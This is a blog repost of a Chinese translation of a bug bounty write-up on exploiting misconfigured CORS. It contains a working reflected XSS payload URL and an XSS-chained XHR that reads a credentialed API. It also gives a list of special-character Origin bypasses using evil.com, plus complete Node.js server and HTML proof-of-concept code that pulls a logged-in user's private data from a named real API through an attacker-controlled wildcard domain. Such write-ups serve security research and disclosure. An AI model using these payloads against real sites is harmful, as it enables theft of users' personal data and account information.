Advanced CORS Exploitation Techniques

2019-05-16 约 2398 字 预计阅读 5 分钟

声明:本文 【Advanced CORS Exploitation Techniques】 由作者 wing 于 2019-05-16 10:00:00 首发 先知社区 曾经 浏览数 211 次

感谢 wing 的辛苦付出!

Advanced CORS Exploitation Techniques

直入主题,本文我会介绍怎么去利用错误的CORS配置去搞事情。

第一种就是常规的XSS,第二种是基于先进的CORS技术。

你需要有CORS的基础知识,你可以阅读下面的文章。

http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html

https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

第一种情况

攻击点

一年前,我正在攻击HackerOne主办的一个私人项目。在HTTP请求中使用Origin标识头后,然后检查服务器响应以检查它们是否进行域名白名单检查,我注意到应用程序只是盲目地将子域列入白名单,甚至是一些不存在的子域。

出于隐私原因和其他政策,我们假设Web应用程序托管在:www.redacted.com

这个CORS配置错误看起来像这样:

HTTP Request:

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close

HTTP Response:

HTTP/1.1 200 OK
Access-control-allow-credentials: true
 Access-control-allow-origin: evil.redacted.com

此API端点返回用户的私人信息,如全名,电子邮件地址,....

为了充分利用这种错误配置,以便我们可以执行攻击,例如泄露用户的私人信息,我们需要声明一个被废弃的子域(子域名接管),或者在现有子域的中找到一个XSS。

发挥想象力,不要局限性思考

找到一个人家不要的子域并不是那么简单,所以我决定选择第二个选项,在一个现有的子域中找到一个XSS。但是,这个程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在范围内,但是将此XSS与CORS结合起来在某种程度上也是在Scope中。对吗?

并且,其他子域超出范围的这个消息是让我更有信心的原因,因为其他黑客不会测试它们,因此很有可能在这些子域上找到XSS。
所以,我开始寻找这个XSS,心中充满希望地找到它,并且在不到一个小时的时间里,我在banques.redacted.com找到了一个,使用以下payload:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

这时候可以作为poc提交了。

再次利用

因此,要利用此CORS漏洞,我们只需要使用以下代码替换称自己的XSS Payload : alert(document.domain)

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.redacted.com/api/return", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

继续:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

成功利用

奖金

现在,如果我告诉您,您仍然可以利用此问题而无需在任何现有子域中找到XSS,或声已经不要的子域,那该怎么办?

这正是我们将在第二种情况下讨论的内容。

第二种利用方法

攻击点

这一次,我正在研究Ubnt程序,尤其是托管在以下网址的应用程序:https://protect.ubnt.com/

和上次一样,我找到一个api接口,并且存在CORS

https://client.amplifi.com/api/user/

而且,正如我们之前讨论的那样,要利用这种CORS错误配置,您需要找到一个废弃的子域名,或者在一个现有的子域中找到XSS。

因为这是一个公开的计划,范围很广(所有子域都在范围内); 找到XSS的可能性很小,甚至没有提到子域名接管漏洞。

那么,我们没办法了吗?

Advanced CORS Exploitation Techniques

嗯,事实证明,还有另一种方式,但它需要一定的条件才能执行。

Corban Leo最近做的一项有趣的研究可以在这里找到。可以绕过域名中使用特殊字符错误实现的某些控件。

此研究基于以下条件:

  • 浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,浏览器当前可以提交请求,而无需事先验证域名是否有效和存在。

例:
先完全理解这个玩意,让我们尝试打开一个包含特殊字符的URL,例如:http://asdf+=.withgoogle.com。 大多数浏览器会在发出任何请求之前验证域名。 **Chrome:** 域名withgoogle.com`用来作演示,因为它有一个通配符DNS记录

Firefox:

Safari:

Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。

我们可以使用各种不同的符号,甚至是不可打印的符号:

,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

此外,Davide Danelon完成的另一项研究可以在这里找到,表明这些特殊字符的其他子集也可用于其他浏览器。

现在,我们知道这些以后,我们如何利用这个问题来执行高级CORS利用技术,为了一个很好的演示,让我们回到易受攻击的Web应用程序:https://client.amplifi.com/

新方法

在这种情况下,Web应用程序还接受以下Origin * .ubnt.com!.evil.com


不只是字符,还包括以下字符:

*.ubnt.com!.evil.com 
*.ubnt.com".evil.com 
*.ubnt.com$.evil.com 
*.ubnt.com%0b.evil.com 
*.ubnt.com%60.evil.com 
*.ubnt.com&.evil.com 
*.ubnt.com'.evil.com 
*.ubnt.com(.evil.com 
*.ubnt.com).evil.com 
*.ubnt.com*.evil.com 
*.ubnt.com,.evil.com 
*.ubnt.com;.evil.com 
*.ubnt.com=.evil.com 
*.ubnt.com^.evil.com 
*.ubnt.com`.evil.com 
*.ubnt.com{.evil.com 
*.ubnt.com|.evil.com 
*.ubnt.com}.evil.com 
*.ubnt.com~.evil.com

您现在应该知道某些浏览器(例如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com

因此,如果我们建立一个域名:evil.com,带有通配符DNS记录,允许将所有子域名(* .evil.com)指向www.evil.com,这将在以下页面中托管脚本:www.evil.com/cors-poc,它只是将带有子域名的跨域请求作为原始值发送给攻击目标。
然后我们以某种方式使经过身份验证的用户打开链接:
https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,我们可以将这个用户的私人信息泄露出去。

复现

首先,设置一个带有通配符DNS记录的域,将其指向您的vps,在我的情况下,我使用GoDaddy来托管我的域,具有以下配置:

2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:

serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

3.在同一目录中,保存以下内容:

cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

4.运行以下命令启动NodeJS服务器:

node serve.js &

5.现在,登录到https://protect.ubnt.com/上的应用程序,并检查您是否可以从api检索您的帐户信息:https://client.amplifi.com/api/user/

6.打开链接 https://zzzz.ubnt.com=.evil.com/cors-poc
在我的情况下,我使用我的iPhone中的Safari浏览器作为PoC,因为我没有Mac。


结语

你要记住,不要在圈内思考。

原文链接

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now